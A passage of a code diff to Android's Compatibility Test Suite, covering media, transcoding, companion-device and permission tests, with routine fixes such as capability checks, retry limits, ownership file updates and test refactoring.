+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/tests/libcorelegacy22/AndroidTest.xml b/tests/tests/libcorelegacy22/AndroidTest.xml
index 94c1134d536..670a3af8d87 100644
--- a/tests/tests/libcorelegacy22/AndroidTest.xml
+++ b/tests/tests/libcorelegacy22/AndroidTest.xml
@@ -42,4 +42,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/tests/media/OWNERS b/tests/tests/media/OWNERS
index 4f5a2efce98..6775f87ece8 100644
--- a/tests/tests/media/OWNERS
+++ b/tests/tests/media/OWNERS
@@ -1,9 +1,7 @@
# Bug component: 1344
include ../../media/OWNERS
-andrewlewis@google.com
elaurent@google.com
etalvala@google.com
-gkasten@google.com
hdmoon@google.com
hunga@google.com
insun@google.com
@@ -13,6 +11,5 @@ jmtrivi@google.com
jsharkey@android.com
sungsoo@google.com
-# LON
-olly@google.com
-andrewlewis@google.com
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 248ba82893d..c745207b167 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -3244,9 +3244,9 @@ public class AudioTrackTest {
};
final int MAX_CHANNEL_BIT = 1 << (AudioSystem.FCC_24 - 1); // highest allowed channel.
final int TEST_CONF_ARRAY[] = {
- (1 << AudioSystem.OUT_CHANNEL_COUNT_MAX) - 1,
MAX_CHANNEL_BIT, // likely silent - no physical device on top channel.
MAX_CHANNEL_BIT | 1, // first channel will likely have physical device.
+ (1 << AudioSystem.OUT_CHANNEL_COUNT_MAX) - 1,
};
final int TEST_WRITE_MODE_ARRAY[] = {
AudioTrack.WRITE_BLOCKING,
@@ -3258,10 +3258,12 @@ public class AudioTrackTest {
double frequency = 200; // frequency changes for each test
for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
- for (int TEST_CONF : TEST_CONF_ARRAY) {
- for (int TEST_SR : TEST_SR_ARRAY) {
- for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) {
- for (int useDirect = 0; useDirect < 2; ++useDirect) {
+ for (int TEST_SR : TEST_SR_ARRAY) {
+ for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) {
+ for (int useDirect = 0; useDirect < 2; ++useDirect) {
+ for (int TEST_CONF : TEST_CONF_ARRAY) {
+ // put TEST_CONF in the inner loop to avoid
+ // back-to-back creation of large tracks.
playOnceStreamByteBuffer(
TEST_NAME, frequency, TEST_SWEEP,
TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
index 4c24777677b..1ccd71e773b 100644
--- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
@@ -949,23 +949,38 @@ public class MediaExtractorTest extends AndroidTestCase {
// ignore
}
+ final int RETRY_LIMIT = 100;
+ final long INPUTBUFFER_TIMEOUT_US = 10000;
+ int num_retry = 0;
ByteBuffer buf = ByteBuffer.allocate(2*1024*1024);
MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
- while(true) {
+ while(num_retry < RETRY_LIMIT) {
for (MediaCodec codec : codecs) {
- if (codec != null) {
- int idx = codec.dequeueOutputBuffer(info, 5);
- if (idx >= 0) {
- codec.releaseOutputBuffer(idx, false);
+ if (codec == null) {
+ continue;
+ }
+ while (true) {
+ int idx = codec.dequeueOutputBuffer(info, 0);
+ if (idx < 0) {
+ break;
}
+ codec.releaseOutputBuffer(idx, false);
}
}
+
int trackIdx = extractor.getSampleTrackIndex();
MediaCodec codec = codecs[trackIdx];
ByteBuffer b = buf;
int bufIdx = -1;
if (codec != null) {
- bufIdx = codec.dequeueInputBuffer(-1);
+ bufIdx = codec.dequeueInputBuffer(INPUTBUFFER_TIMEOUT_US);
+ // No available input buffer now, retry again.
+ if (bufIdx < 0) {
+ num_retry += 1;
+ continue;
+ }
+
+ num_retry = 0;
b = codec.getInputBuffer(bufIdx);
}
int n = extractor.readSampleData(b, 0);
@@ -981,9 +996,11 @@ public class MediaExtractorTest extends AndroidTestCase {
break;
}
}
+ extractor.release();
+
+ assertTrue("dequeueing input buffer exceeded timeout", num_retry < RETRY_LIMIT);
assertTrue("did not read from track 0", bytesRead[0] > 0);
assertTrue("did not read from track 1", bytesRead[1] > 0);
- extractor.release();
}
private void doTestAdvance(final String res) throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 23d40e31443..20d0f502c03 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -1073,12 +1073,20 @@ public class MediaMetadataRetrieverTest extends AndroidTestCase {
public void testGetImageAtIndexAvif() throws Exception {
if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+ if (!MediaUtils.canDecodeVideo("AV1", 1920, 1080, 30)) {
+ MediaUtils.skipTest("No AV1 codec for 1080p");
+ return;
+ }
testGetImage("sample.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
1 /*imageCount*/, 0 /*primary*/, false /*useGrid*/, true /*checkColor*/);
}
public void testGetImageAtIndexAvifGrid() throws Exception {
if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+ if (!MediaUtils.canDecodeVideo("AV1", 512, 512, 30)) {
+ MediaUtils.skipTest("No AV1 codec for 512p");
+ return;
+ }
testGetImage("sample_grid2x4.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
1 /*imageCount*/, 0 /*primary*/, true /*useGrid*/, true /*checkColor*/);
}
diff --git a/tests/tests/mediaparser/OWNERS b/tests/tests/mediaparser/OWNERS
index bebc5edf045..b91d177f4ac 100644
--- a/tests/tests/mediaparser/OWNERS
+++ b/tests/tests/mediaparser/OWNERS
@@ -1,3 +1,3 @@
# Bug component: 817235
-andrewlewis@google.com
-aquilescanta@google.com
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/tests/mediatranscoding/Android.bp b/tests/tests/mediatranscoding/Android.bp
index ec049ac0cd1..6a220a36fdb 100644
--- a/tests/tests/mediatranscoding/Android.bp
+++ b/tests/tests/mediatranscoding/Android.bp
@@ -19,12 +19,13 @@ package {
android_test {
name: "CtsMediaTranscodingTestCases",
defaults: ["CtsMediaTranscodingTestCasesDefaults", "cts_defaults"],
- // runs as part of mainline's MTS, so must run on Q devices
+ // part of MTS, so we need compatibility back to Q/29
min_sdk_version: "29",
test_suites: [
"cts",
"general-tests",
"mts-media",
+ "mts",
],
static_libs: [
"compatibility-device-util-axt",
@@ -44,5 +45,4 @@ java_defaults {
"android.test.base",
"android.test.runner",
],
- sdk_version: "test_current",
}
diff --git a/tests/tests/mediatranscoding/AndroidManifest.xml b/tests/tests/mediatranscoding/AndroidManifest.xml
index 1618b00ab7a..c69754a99c0 100644
--- a/tests/tests/mediatranscoding/AndroidManifest.xml
+++ b/tests/tests/mediatranscoding/AndroidManifest.xml
@@ -25,6 +25,12 @@
<uses-library android:name="android.test.runner" />
</application>
+ <!-- included in mainline testing, so must run back on 29.
+ Transcoding was introduced in 31 -->
+ <uses-sdk android:minSdkVersion="29"
+ android:targetSdkVersion="31"/>
+
+
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.media.mediatranscoding.cts"
android:label="Tests for MediaTranscoding.">
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
index bfddabfecab..33bb8b72b95 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
@@ -24,12 +24,16 @@ import android.content.Context;
import android.content.pm.PackageManager;
import android.content.res.AssetFileDescriptor;
import android.media.ApplicationMediaCapabilities;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaExtractor;
import android.media.MediaFormat;
import android.media.MediaTranscodingManager;
import android.media.MediaTranscodingManager.TranscodingRequest;
import android.media.MediaTranscodingManager.TranscodingSession;
import android.media.MediaTranscodingManager.VideoTranscodingRequest;
import android.net.Uri;
+// import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.os.FileUtils;
@@ -168,6 +172,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
// Skip the test for TV, Car and Watch devices.
private boolean shouldSkip() {
+
PackageManager pm =
InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
return pm.hasSystemFeature(pm.FEATURE_LEANBACK) || pm.hasSystemFeature(pm.FEATURE_WATCH)
@@ -339,7 +344,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
// Tests transcoding to a uri in res folder and expects failure as test could not write to res
// folder.
public void testTranscodingToResFolder() throws Exception {
- if (shouldSkip()) {
+ if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
return;
}
// Create a file Uri: android.resource://android.media.cts/temp.mp4
@@ -353,7 +358,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
// Tests transcoding to a uri in internal cache folder and expects success.
public void testTranscodingToCacheDir() throws Exception {
- if (shouldSkip()) {
+ if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
return;
}
// Create a file Uri: file:///data/user/0/android.media.cts/cache/temp.mp4
@@ -367,7 +372,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
// Tests transcoding to a uri in internal files directory and expects success.
public void testTranscodingToInternalFilesDir() throws Exception {
- if (shouldSkip()) {
+ if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
return;
}
// Create a file Uri: file:///data/user/0/android.media.cts/files/temp.mp4
@@ -425,14 +430,6 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
if (shouldSkip()) {
return;
}
- MediaFormat format = new MediaFormat();
- format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_VIDEO_HEVC);
- format.setInteger(MediaFormat.KEY_WIDTH, 3840);
- format.setInteger(MediaFormat.KEY_HEIGHT, 2160);
- format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
- if (!MediaUtils.canDecode(format) || !MediaUtils.canEncode(format) ) {
- return;
- }
transcodeFile(resourceToUri(mContext, R.raw.Video_4K_HEVC_64Frames_Audio,
"Video_4K_HEVC_64Frames_Audio.mp4"), false /* testFileDescriptor */);
}
@@ -455,14 +452,26 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
ApplicationMediaCapabilities clientCaps =
new ApplicationMediaCapabilities.Builder().build();
+ MediaFormat srcVideoFormat = getVideoTrackFormat(fileUri);
+ assertNotNull(srcVideoFormat);
+
+ int width = srcVideoFormat.getInteger(MediaFormat.KEY_WIDTH);
+ int height = srcVideoFormat.getInteger(MediaFormat.KEY_HEIGHT);
+
TranscodingRequest.VideoFormatResolver
resolver = new TranscodingRequest.VideoFormatResolver(clientCaps,
MediaFormat.createVideoFormat(
- MediaFormat.MIMETYPE_VIDEO_HEVC, WIDTH, HEIGHT));
+ MediaFormat.MIMETYPE_VIDEO_HEVC, width, height));
assertTrue(resolver.shouldTranscode());
MediaFormat videoTrackFormat = resolver.resolveVideoFormat();
assertNotNull(videoTrackFormat);
+ // Return if the source or target video format is not supported
+ if (!isFormatSupported(srcVideoFormat, false)
+ || !isFormatSupported(videoTrackFormat, true)) {
+ return;
+ }
+
int pid = android.os.Process.myPid();
int uid = android.os.Process.myUid();
@@ -557,7 +566,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
}
public void testCancelTranscoding() throws Exception {
- if (shouldSkip()) {
+ if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
return;
}
Log.d(TAG, "Starting: testCancelTranscoding");
@@ -648,7 +657,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
}*/
public void testTranscodingProgressUpdate() throws Exception {
- if (shouldSkip()) {
+ if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
return;
}
Log.d(TAG, "Starting: testTranscodingProgressUpdate");
@@ -700,7 +709,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
}
public void testAddingClientUids() throws Exception {
- if (shouldSkip()) {
+ if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
return;
}
Log.d(TAG, "Starting: testTranscodingProgressUpdate");
@@ -760,4 +769,72 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
assertTrue("Failed to receive at least 10 progress updates",
progressUpdateCount.get() > 10);
}
+
+ private MediaFormat getVideoTrackFormat(Uri fileUri) throws IOException {
+ MediaFormat videoFormat = null;
+ MediaExtractor extractor = new MediaExtractor();
+ extractor.setDataSource(fileUri.toString());
+ // Find video track format
+ for (int trackID = 0; trackID < extractor.getTrackCount(); trackID++) {
+ MediaFormat format = extractor.getTrackFormat(trackID);
+ if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+ videoFormat = format;
+ break;
+ }
+ }
+ extractor.release();
+ return videoFormat;
+ }
+
+ private boolean isVideoTranscodingSupported(Uri fileUri) throws IOException {
+ MediaFormat sourceFormat = getVideoTrackFormat(fileUri);
+ if (sourceFormat != null) {
+ // Since destination format is not available, we assume width, height and
+ // frame rate same as source format, and mime as AVC for destination format.
+ MediaFormat destinationFormat = new MediaFormat();
+ destinationFormat.setString(MediaFormat.KEY_MIME, MIME_TYPE);
+ destinationFormat.setInteger(MediaFormat.KEY_WIDTH,
+ sourceFormat.getInteger(MediaFormat.KEY_WIDTH));
+ destinationFormat.setInteger(MediaFormat.KEY_HEIGHT,
+ sourceFormat.getInteger(MediaFormat.KEY_HEIGHT));
+ if (sourceFormat.containsKey(MediaFormat.KEY_FRAME_RATE)) {
+ destinationFormat.setInteger(MediaFormat.KEY_FRAME_RATE,
+ sourceFormat.getInteger(MediaFormat.KEY_FRAME_RATE));
+ }
+ return isFormatSupported(sourceFormat, false)
+ && isFormatSupported(destinationFormat, true);
+ }
+ return false;
+ }
+
+ private boolean isFormatSupported(MediaFormat format, boolean isEncoder) {
+ String mime = format.getString(MediaFormat.KEY_MIME);
+ MediaCodec codec = null;
+ try {
+ // The underlying transcoder library uses AMediaCodec_createEncoderByType
+ // to create encoder. So we cannot perform an exhaustive search of
+ // all codecs that support the format. This is because the codec that
+ // advertises support for the format during search may not be the one
+ // instantiated by the transcoder library. So, we have to check whether
+ // the codec returned by createEncoderByType supports the format.
+ // The same point holds for decoder too.
+ if (isEncoder) {
+ codec = MediaCodec.createEncoderByType(mime);
+ } else {
+ codec = MediaCodec.createDecoderByType(mime);
+ }
+ MediaCodecInfo info = codec.getCodecInfo();
+ MediaCodecInfo.CodecCapabilities caps = info.getCapabilitiesForType(mime);
+ if (caps != null && caps.isFormatSupported(format) && info.isHardwareAccelerated()) {
+ return true;
+ }
+ } catch (IOException e) {
+ Log.d(TAG, "Exception: " + e);
+ } finally {
+ if (codec != null) {
+ codec.release();
+ }
+ }
+ return false;
+ }
}
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
index c5500ae614a..95febcdcf4d 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
@@ -23,6 +23,7 @@ import android.content.ContentResolver;
import android.content.Context;
import android.content.res.AssetFileDescriptor;
import android.graphics.ImageFormat;
+import android.graphics.Rect;
import android.media.Image;
import android.media.MediaCodec;
import android.media.MediaCodecInfo;
@@ -322,23 +323,32 @@ import java.util.Locale;
throw new UnsupportedOperationException("Only supports YUV420P");
}
- int imageWidth = image.getWidth();
- int imageHeight = image.getHeight();
+ Rect crop = image.getCropRect();
+ int cropLeft = crop.left;
+ int cropRight = crop.right;
+ int cropTop = crop.top;
+ int cropBottom = crop.bottom;
+ int imageWidth = cropRight - cropLeft;
+ int imageHeight = cropBottom - cropTop;
byte[] bb = new byte[imageWidth * imageHeight];
byte[] lb = null;
Image.Plane[] planes = image.getPlanes();
for (int i = 0; i < planes.length; ++i) {
ByteBuffer buf = planes[i].getBuffer();
- int width, height, rowStride, pixelStride, x, y;
+ int width, height, rowStride, pixelStride, x, y, top, left;
rowStride = planes[i].getRowStride();
pixelStride = planes[i].getPixelStride();
if (i == 0) {
width = imageWidth;
height = imageHeight;
+ left = cropLeft;
+ top = cropTop;
} else {
width = imageWidth / 2;
height = imageHeight / 2;
+ left = cropLeft / 2;
+ top = cropTop / 2;
}
if (buf.hasArray()) {
@@ -371,7 +381,7 @@ import java.util.Locale;
}
// do it pixel-by-pixel
for (y = 0; y < height; ++y) {
- buf.position(pos + y * rowStride);
+ buf.position(pos + left + (top + y) * rowStride);
// we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
buf.get(lb, 0, pixelStride * (width - 1) + 1);
for (x = 0; x < width; ++x) {
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index bfb82c5a3e1..6869889e68b 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -17,6 +17,7 @@
package android.os.cts
import android.companion.CompanionDeviceManager
+import android.content.pm.PackageManager
import android.content.pm.PackageManager.FEATURE_AUTOMOTIVE
import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP
import android.content.pm.PackageManager.PERMISSION_GRANTED
@@ -68,6 +69,8 @@ const val COMPANION_APPROVE_WIFI_CONNECTIONS =
const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
const val MANAGE_COMPANION_DEVICES = "android.permission.MANAGE_COMPANION_DEVICES"
const val SHELL_PACKAGE_NAME = "com.android.shell"
+const val TEST_APP_PACKAGE_NAME = "android.os.cts.companiontestapp"
+const val TEST_APP_APK_LOCATION = "/data/local/tmp/cts/os/CtsCompanionTestApp.apk"
val InstrumentationTestCase.context get() = InstrumentationRegistry.getTargetContext()
/**
@@ -79,6 +82,11 @@ class CompanionDeviceManagerTest : InstrumentationTestCase() {
val cdm: CompanionDeviceManager by lazy {
context.getSystemService(CompanionDeviceManager::class.java)
}
+ val pm: PackageManager by lazy { context.packageManager }
+ private val hasFeatureCompanionDeviceSetup: Boolean by lazy {
+ pm.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP)
+ }
+ private val isAuto: Boolean by lazy { pm.hasSystemFeature(FEATURE_AUTOMOTIVE) }
private fun isShellAssociated(macAddress: String, packageName: String): Boolean {
val userId = context.userId
@@ -102,19 +110,24 @@ class CompanionDeviceManagerTest : InstrumentationTestCase() {
@Before
fun assumeHasFeature() {
- assumeTrue(context.packageManager.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP))
+ assumeTrue(hasFeatureCompanionDeviceSetup)
// TODO(b/191699828) test does not work in automotive due to accessibility issue
- assumeFalse(context.packageManager.hasSystemFeature(FEATURE_AUTOMOTIVE))
+ assumeFalse(isAuto)
}
@After
fun removeAllAssociations() {
- val packageName = "android.os.cts.companiontestapp"
+ // If the devices does not have the feature or is an Auto, the test didn't run, and the
+ // clean up is not needed (will actually crash if the feature is missing).
+ // See assumeHasFeature @Before method.
+ if (!hasFeatureCompanionDeviceSetup || isAuto) return
+
val userId = context.userId
- val associations = getAssociatedDevices(packageName)
+ val associations = getAssociatedDevices(TEST_APP_PACKAGE_NAME)
for (address in associations) {
- runShellCommandOrThrow("cmd companiondevice disassociate $userId $packageName $address")
+ runShellCommandOrThrow(
+ "cmd companiondevice disassociate $userId $TEST_APP_PACKAGE_NAME $address")
}
}
@@ -168,10 +181,8 @@ class CompanionDeviceManagerTest : InstrumentationTestCase() {
@AppModeFull(reason = "Companion API for non-instant apps only")
@Test
fun testProfiles() {
- val packageName = "android.os.cts.companiontestapp"
- installApk(
- "--user ${UserHandle.myUserId()} /data/local/tmp/cts/os/CtsCompanionTestApp.apk")
- startApp(packageName)
+ installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+ startApp(TEST_APP_PACKAGE_NAME)
waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
.performAction(ACTION_SET_TEXT,
@@ -191,24 +202,24 @@ class CompanionDeviceManagerTest : InstrumentationTestCase() {
device!!.click()
eventually {
- assertThat(getAssociatedDevices(packageName), not(empty()))
+ assertThat(getAssociatedDevices(TEST_APP_PACKAGE_NAME), not(empty()))
}
- val deviceAddress = getAssociatedDevices(packageName).last()
+ val deviceAddress = getAssociatedDevices(TEST_APP_PACKAGE_NAME).last()
runShellCommandOrThrow("cmd companiondevice simulate_connect $deviceAddress")
- assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+ assertPermission(
+ TEST_APP_PACKAGE_NAME, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
runShellCommandOrThrow("cmd companiondevice simulate_disconnect $deviceAddress")
- assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+ assertPermission(
+ TEST_APP_PACKAGE_NAME, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
}
@AppModeFull(reason = "Companion API for non-instant apps only")
@Test
fun testRequestNotifications() {
- val packageName = "android.os.cts.companiontestapp"
- installApk(
- "--user ${UserHandle.myUserId()} /data/local/tmp/cts/os/CtsCompanionTestApp.apk")
- startApp(packageName)
+ installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+ startApp(TEST_APP_PACKAGE_NAME)
waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
.performAction(ACTION_SET_TEXT,
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
index 8d57488a2a3..746f8b27ceb 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
@@ -42,9 +42,8 @@
<option name="test-file-name" value="CtsAdminPackageInstallerTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="dpm set-device-owner --user current 'android.packageinstaller.admin.cts/.BasicAdminReceiver'" />
- <option name="teardown-command" value="dpm remove-active-admin --user current 'android.packageinstaller.admin.cts/.BasicAdminReceiver'"/>
+ <target_preparer class="com.android.tradefed.targetprep.DeviceOwnerTargetPreparer">
+ <option name="device-owner-component-name" value="android.packageinstaller.admin.cts/.BasicAdminReceiver" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
index 93920a59365..8b8f24a5217 100644
--- a/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
@@ -51,6 +51,7 @@ import com.android.compatibility.common.util.CddTest;
import org.junit.After;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -210,24 +211,40 @@ public class NearbyDevicesPermissionTest {
}
/**
- * Verify that upgrading an app doesn't gain them any access to Bluetooth
- * scan results; they'd always need to involve the user to gain permissions.
+ * Verify that a legacy app that was unable to interact with Bluetooth
+ * devices is still unable to interact with them after updating to a modern
+ * SDK; they'd always need to involve the user to gain permissions.
*/
@Test
- public void testRequestBluetoothPermission_Upgrade() throws Throwable {
+ public void testRequestBluetoothPermission_Default_Upgrade() throws Throwable {
install(APK_BLUETOOTH_30);
- grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
- grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
- assertScanBluetoothResult(Result.FULL);
+ assertScanBluetoothResult(Result.EMPTY);
// Upgrading to target a new SDK level means they need to explicitly
// request the new runtime permission; by default it's denied
- install(APK_BLUETOOTH_31);
+ install(APK_BLUETOOTH_NEVER_FOR_LOCATION_31);
assertScanBluetoothResult(Result.EXCEPTION);
// If the user does grant it, they can scan again
grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
grantPermission(TEST_APP_PKG, BLUETOOTH_SCAN);
+ assertScanBluetoothResult(Result.FILTERED);
+ }
+
+ /**
+ * Verify that a legacy app that was able to interact with Bluetooth devices
+ * is still able to interact with them after updating to a modern SDK.
+ */
+ @Test
+ public void testRequestBluetoothPermission_GrantLocation_Upgrade() throws Throwable {
+ install(APK_BLUETOOTH_30);
+ grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
+ grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
+ assertScanBluetoothResult(Result.FULL);
+
+ // Upgrading to target a new SDK level means they still have the access
+ // they enjoyed as a legacy app
+ install(APK_BLUETOOTH_31);
assertScanBluetoothResult(Result.FULL);
}
diff --git a/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java b/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java
index d013b93ecac..70952990c4b 100644
--- a/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java
@@ -24,7 +24,9 @@ import android.content.Context;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.os.Process;
+import android.os.UserHandle;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SystemUserOnly;
import android.util.Log;
import androidx.test.InstrumentationRegistry;
@@ -64,7 +66,10 @@ public class ShellPermissionTest {
final Set<String> blacklist = new HashSet<>(Arrays.asList(BLACKLISTED_PERMISSIONS));
final PackageManager pm = sContext.getPackageManager();
- final String[] pkgs = pm.getPackagesForUid(Process.SHELL_UID);
+ int uid = UserHandle.getUid(UserHandle.myUserId(), UserHandle.getAppId(Process.SHELL_UID));
+ final String[] pkgs = pm.getPackagesForUid(uid);
+ Log.d(LOG_TAG, "SHELL_UID: " + Process.SHELL_UID + " myUserId: "
+ + UserHandle.myUserId() + " uid: " + uid + " pkgs.length: " + pkgs.length);
assertNotNull("No SHELL packages were found", pkgs);
assertNotEquals("SHELL package list had 0 size", 0, pkgs.length);
String pkg = pkgs[0];
@@ -73,9 +78,16 @@ public class ShellPermissionTest {
assertNotNull("No permissions found for " + pkg, packageInfo.requestedPermissions);
for (String permission : packageInfo.requestedPermissions) {
- Log.d(LOG_TAG, "SHELL as " + pkg + " uses permission " + permission);
+ Log.d(LOG_TAG, "SHELL as " + pkg + " uses permission " + permission + " uid: "
+ + uid);
assertFalse("SHELL as " + pkg + " contains the illegal permission " + permission,
blacklist.contains(permission));
}
}
+
+ @Test
+ @SystemUserOnly
+ public void testBlacklistedPermissionsForSystemUser() throws Exception {
+ testBlacklistedPermissions();
+ }
}
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index d56e7d0665d..eb94a785f16 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -406,11 +406,16 @@ abstract class BaseUsePermissionTest : BasePermissionTest() {
isLegacyApp: Boolean,
targetSdk: Int
) {
- pressBack()
- pressBack()
- pressBack()
if (isTv) {
+ // Dismiss DeprecatedTargetSdkVersionDialog, if present
+ if (waitFindObjectOrNull(By.text(APP_PACKAGE_NAME), 1000L) != null) {
+ pressBack()
+ }
pressHome()
+ } else {
+ pressBack()
+ pressBack()
+ pressBack()
}
// Try multiple times as the AppInfo page might have read stale data
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
index 819af011b63..86b9c4e1bb1 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
@@ -23,6 +23,7 @@ import android.support.test.uiautomator.By
import androidx.test.filters.SdkSuppress
import com.android.compatibility.common.util.SystemUtil
import org.junit.After
+import org.junit.Assume.assumeFalse
import org.junit.Before
import org.junit.Ignore
import org.junit.Test
@@ -42,6 +43,14 @@ class PermissionHistoryTest : BasePermissionHubTest() {
private val micLabel = packageManager.getPermissionGroupInfo(
Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
+ // Permission history is not available on TV devices.
+ @Before
